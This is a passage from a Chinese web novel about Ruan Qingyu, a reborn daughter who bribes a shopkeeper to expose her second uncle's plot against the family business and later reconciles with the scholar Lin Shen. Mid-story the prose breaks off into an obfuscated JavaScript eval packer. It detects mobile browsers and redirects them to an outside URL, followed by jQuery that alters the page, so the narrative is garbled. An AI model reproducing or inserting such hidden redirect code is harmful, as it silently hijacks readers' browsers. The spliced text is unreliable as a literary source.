阮青钰先是让刘岭装作大家族的家丁,和于掌柜搭上话,再请酒吃饭,聊得热络。
待于掌柜喝多了,刘岭按住他的手让他画押了一张供词,内容也就是今天三老爷说的这些,白纸黑字句句属实。
待于掌柜酒醒,刘岭就道明身份,说他的主子已经知道了内情,供词于掌柜也画押了,这就要去衙门告他们擅毁契约,必要告得姚老板赔进半副身家,扯了于掌柜就要走。
于掌柜连连讨饶,他自知自己贪酒误了事,赔半副身家是刘岭吓唬他的,他一个掌柜的自然知道。
只是这到手的好事办砸了,若是吃了官司还得赔进去不少,姚老板怎么能放过他,他年近半百好不容易熬到做掌柜的,差事可不就丢了。
刘岭便放了话,也不为难他,若是于掌柜能帮他的主子办一件事,自然主子也会帮他,说不定还能让于掌柜一样低些价收了酒,回去也好和姚老板交差。
然后,于掌柜就揣了一张画押的自供词,找上了阮家,点名要找阮三老爷。
三老爷当直,不在家。刘管事出来见了他,当时刘岭恰好在和刘管事说事情,自然也就一起见了。
于掌柜说有要事见三老爷,刘管事疑惑,架不住刘岭在旁帮着促成。
三老爷一下直,就看到了等在衙门角门的于掌柜,于掌柜一副有天大冤情要青天大老爷来主持的样子,将三老爷请到了茶楼。
一进厢房,于掌柜啪一下就跪下了,三老爷吓了一跳去扶,于掌柜执意不起,将供词呈上,一把鼻涕一把泪地陈情:“我们东家听了二老爷的话,是有些不厚道,但都是生意人,二老爷又是阮家自家人,东家想,他也不至于真的害了阮家,不过是想赚一些体己,我们最近银钱也紧张得很,这样能省下一笔也好,也就说定了。东家回去没几天,想着也差不多了,就让我来把酒收了,省得真伤了和气。结果二老爷还是让我等,我想着早两天晚两天也无妨,结果……结果……”
三老爷气急,原来他这些天被全家人不待见,更被老太爷申斥误了家里的生意,竟是二老爷在背后搞鬼。
他见于掌柜害怕又卑微的样子,只说:“你不要怕,只管说出来。”
于掌柜继续说,“前两日二老爷来找我,说,说现在有个契机,朝廷给酒行加税,还要从今年初的开始补齐,阮家不能出手这批三叶竹就拿不出这些税钱,说不得会被衙门怪罪,到时候大老爷怕是会被衙门问话,弄不好还要吃官司,就只能变卖一些产业应急,那时候就让姚老板背后出资,低价买下这些产业,他二老爷再低价从姚老板手里买回来其中一部分,这样大家都有好生意做。”
“岂有此理!真是岂有此理!”三老爷气得站起来拍桌子。
于掌柜赶紧抱住三老爷的腿,“老爷息怒啊老爷,我们只是想配合二老爷,便宜些买酒,别的都不敢想啊,这都是二老爷的主意,小的万不敢做此伤天害理之事,又不敢贸然去找大老爷,只听说三老爷是青天大老爷,最是惜老怜贫有慈悲心的,只敢将这些话告知三老爷,求三老爷救救小的啊。”
三老爷拉开于掌柜,说:“这些事情你没有做,不必怕,说与了我,我必主持公道。”
于掌柜不放手,“小的是来替东家办事情,若是事情办不好,回去也是个死啊,求三老爷,念在我主动说出实情的份上,让小的便宜些收了三叶竹吧,叩谢老爷深恩了!”
三老爷爱面子耳根软,不一时应了,说会从中斡旋,就要回家和二老爷算账。
老太爷没有三老爷这么好糊弄,二老爷拼死辩驳,说上次被三房坑了,被罚了银钱,气不过,这桩生意是三老爷牵的线,误上几日,下一下三老爷的面子,自己也能借机赚一笔,弥补被罚的亏空。
又接连赌咒发誓说他绝不敢算计自家产业,更不敢让大哥去吃官司。
老太爷知道二老爷的那点出息,有些怀疑于掌柜包藏祸心,不肯轻易相信。
于掌柜却拿出了证据。
于掌柜拿出一张契约纸,上面按着二老爷的手印,写着日后姚家柜行若以低价买了阮家产业,必要以买进价卖给二老爷一半。
二老爷目瞪口呆,声嘶力竭说没签过这契约。
于掌柜对质说,若不是二老爷动了歹念,他安心等二老爷给信儿来收酒就好了,整这一出,对他、对他东家能有什么好处。
老太爷看着白纸黑字,发了狠,把二老爷关去柴房饿着,还扬言要把二房分出去。
老太太担心得晚上睡不着,也不敢违逆老太爷。
二房此刻也是哭声连天。
这就是阮青钰的办法。
阮家虽然总做出重规矩、讲诗书的样子,但毕竟只是新富起来的商户,既不显赫也无根基,最经不起祸起萧墙。
老太爷总说家和万事兴,就是要阮家自己拧成一股绳,不可自乱,好能保齐家业。
阮青钰收买了于掌柜,证实二老爷有心侵吞自家产业,甚至不惜将兄弟送去吃官司,这是犯了老太爷的大忌。
即便阮家受到的实际损害还不算太大,老太爷也不会容他。
阮青钰想要二房不能翻身。
但上一世,这些事端都是没有的,三叶竹按时交了出去。
阮青钰在想,若是没有之前明前龙井的事情,二老爷就不会存心报复,这些事情或许真的是互为因果。
“时霜,你觉不觉得我太坏了。”
“姑娘若是不做这些,就只能由着二房蚕食。现在姑娘还在家里,日后姑娘出了门,三奶奶也不是会谋算的人,五姑娘四少爷都还小,谁能护住他们呢。何况将来,总是要分家,若什么也不做,那时怕要吃大亏的。”
“你说得都对,但不影响我做的事情还是坏的。”
“姑娘……”
“我吃了一辈子的亏,也不敢说看透了人心二字。但我明白了一件事情,蠢就是坏,这辈子,我不想再做蠢材,就算是坏,也得是我自己选的。”
上一世,阮青钰怀揣混沌的软善,从不敢起坏心思,却还是做了坏事,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771486|190233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
最大的一件,就是误了林深。
“哪里就一辈子了,姑娘才多大,以后都是好日子呢。”
“是啊,我要过好日子,我的母亲妹妹弟弟都要过好日子。饵是我抛的,鱼却是自己上钩的。大家……就都自求多福。”
时间过得很快,秋闱已经放榜。
林深不出意料高中,比上一世的成绩还要好,名在经魁。
林家又是摆酒宴请,又是四处送谢师礼,高兴得张灯结彩。
林深年不足二十,这样的成绩,属实少见。钱先生说林深,他日拜相,也非没有可能。
汇城的白大人派人邀请林深在会试之前去白家听学,林深去之前亲自来阮家谢师。
阮大老爷特意免了这一日的课程,设好酒宴,又让三老爷来作陪。钱先生教出来少年举人,也是得意。席间笑语不断。
阮青钰知道林深今天要来,一早就在小花园逛,中饭都是时霜拿过来吃的,直坐到日头西斜,林深终于来了。
二人久未见面,竟有一些生疏感。林深有些不知道怎么开口的样子。
阮青钰从袖间拿出一块半旧的帕子,“林哥哥,上次你借给我的帕子,洗干净了,还你。”
林深接了帕子,看到上面绣了一朵桃花。
“是我绣的,我绣工不好,你不许嫌丑。这样你看到了就能想起来之前承诺我的话。”
林深想起来,上次把这方帕子借给阮青钰的时候,她正因为没能分到冬日桃花偷偷哭,虽然林深折了红梅给她,还觉亏欠,他就说,“他日有机会,我必为你寻一树最美的桃花。”
他终于开口,“四妹妹,我没有和别人牵扯不清,上次的事情我可以解释。”?
上次在林家,阮青钰费尽气力把林深送出了院子,只来得及和他说一句:“切切小心赵念夫妻,今日之事和他们有关。送你来院子的那两个男子和院子里的姑娘是一伙的,林家该是有内奸。”
自那匆匆一别,这还是第一次相见。
看着林深郑重的样子,阮青钰轻轻说,“我知道,我相信你。”
林深本来将解释的话盘了好几遍,生怕说不清楚。结果还没有说什么,阮青钰已经不怪他。
“你,不生气吗?”
“生气啊,气那些人意图伤害你,若是他们做成了,我就要气死了。”
林深终于笑了。
他被人算计,和别的女子孤男寡女共处一室,还被阮青钰撞见了、帮助了,他羞愧至极。
再见到阮青钰,他怕她生气,怕她看轻他,但阮青钰都没有。林深觉得释怀,又觉得这样明白通达的阮青钰有些陌生。
“四妹妹,有时候我觉得,你已经不需要我总是为你担心了。”
“这样不好吗?”
“好,以前的样子,现在的样子,都好。”
“林哥哥,人会长大,我不想成为你的累赘,这一生,我想要和你并肩向前。”
林深听着这突如其来的表白,血都涌到了脸上。